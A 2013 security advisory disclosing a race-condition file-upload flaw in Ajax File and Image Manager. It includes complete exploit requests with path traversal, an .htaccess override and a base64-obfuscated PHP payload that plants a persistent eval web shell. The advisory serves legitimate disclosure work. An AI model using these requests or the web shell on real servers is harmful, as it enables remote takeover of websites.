----------------------------------------------------------- (PT-2013-41) Positive Technologies Security Advisory Arbitrary Code Execution in Ajax File and Image Manager ----------------------------------------------------------- ---[ Vulnerable software ] Ajax File and Image Manager Version: 1.1 and earlier Link: http://www.phpletter.com/DOWNLOAD/ ---[ Severity level ] Severity level: High Impact: Arbitrary Code Execution Access Vector: Remote CVSS v2: Base Score: 10 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C) CVE: not assigned ---[ Software description ] Ajax file and Image Manager is an open source file manager, which employs Ajax and PHP. It can be used as a standalone web application, as well as the TinyMCE/FCKeditor plugin. ---[ Vulnerability description ] The specialists of the Positive Research center have detected "Arbitrary Code Execution" vulnerability in Ajax File and Image Manager. Due to incorrect application architecture, validation of file extension is implemented after uploading file. Uploaded file will subsequently be removed if its extension is not allowed by whitelist. Thus, you can refer to the uploaded file before its removal, resulting in arbitrary code execution. Vulnerability exploitation example: Send the following requests simultaneously: 1) POST /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/ HTTP/1.1 Host: localhost User-Agent: google/agent Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------307211690811 Content-Length: 613 -----------------------------307211690811 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw MSk7")); ?> -----------------------------307211690811? 2) POST /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/ HTTP/1.1 Host: localhost User-Agent: google/agent Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------307211690811 Content-Length: 240 -----------------------------307211690811 Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: image/jpeg <FilesMatch ".(php)$"> Allow from all </FilesMatch> -----------------------------307211690811? 3) GET /targethost/images/banner/1.php HTTP/1.1 Host: localhost Connection: keep-alive This will also create the following files in the /targethost/images/banner directory: .htaccess with <FilesMatch ".(php)$"> Allow from all </Filesmatch> and 2.php with <?php eval($_REQUEST[c]); ?>. ---[ How to fix ] No solution ---[ Advisory status ] 20.06.2013 - Vendor gets vulnerability details 04.09.2013 - Vulnerability details were sent to CERT 17.09.2013 - Public disclosure ---[ Credits ] The vulnerability was detected by Ilya Krupenko, Positive Research Center (Positive Technologies Company)
